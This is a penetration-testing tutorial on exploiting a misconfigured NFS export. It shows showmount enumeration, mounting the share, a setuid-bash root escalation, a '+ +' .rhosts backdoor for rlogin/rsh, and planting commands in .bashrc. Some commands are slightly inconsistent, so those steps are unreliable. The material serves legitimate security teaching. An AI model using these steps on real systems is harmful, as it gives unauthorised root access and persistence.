How to Use Showmount on a Security Test

NFS is the distribute file system used by Unix/Linux to allow servers to share file and directories with clients. NFS uses Remote Procedure Calls (RPC) to route requests between clients and servers. Although NFS uses TCP/UDP port 2049 for sharing any files/directories over a network. To export a directory, we place an entry in the file **/etc/exports** on the server with the IP address **192.168.2.12**. For example:

```
/home                   *(rw,no_root_squash)
/etc                    *(rw,no_root_squash)
```

In the above we are exporting the directory **/home** to anyone on the internet (via the *****). With the following permissions:

- **rw**: Permit clients to **read** as well as **write** access to the shared directory.
- **no_root_squash**: This option basically gives authority to the **root** user on the client to access files on the NFS server as root. And this can lead to serious security implication.

We can now query the server to see what files it is exporting via the **showmount** command as follows:

```
$ showmount -e 192.168.2.12
Export list for 192.168.2.12:
/home *
/etc  *
$
```

We can now mount the exported file system and access using the following command

```
$ mkdir /mnt/point
$ mount 192.168.2.12:/home /mnt/point
```

Now that we can access to the mounted file system there are a number of attacks that we can perform. The first one is the **setuid** login attack. This is where we create a **setuid** shell. We then log onto the server and execute the **setuid** shell to become root on the server. So, in the following we will use NFS to create a **setuid** shell executable and then log onto the server and execute the shell to become **root**.

```
$ cp /usr/bin/bash /mnt/point/ajcblyth
$ chmod 7777 /mnt/point/ajcblyth/bash
$ ssh ajcblyth@192.168.2.12
ajcblyth@192.168.2.12's password: *********
. . . . . .
ajcblyth@ns01:~$ whoami
ajcblyth
ajcblyth@ns01:~$./bash
# whoami
root
#
```

The second attack vector is based on the Berkley rlogin utility. In this attack vector we edit the **.rhosts** file to allow anyone to logon. This attack also functions with the **rexec, rlogin** and **rsh** commands.

```
$ cat .rhosts
+ +
```

We should also remember that any data contained in the mounted directories can be accessed. Also if the home directories are mounted then we can edit the **.bashrc** or **.profile** files. Then once a user login any commands that we have placed in **.bashrc** or **.profile** will be executed.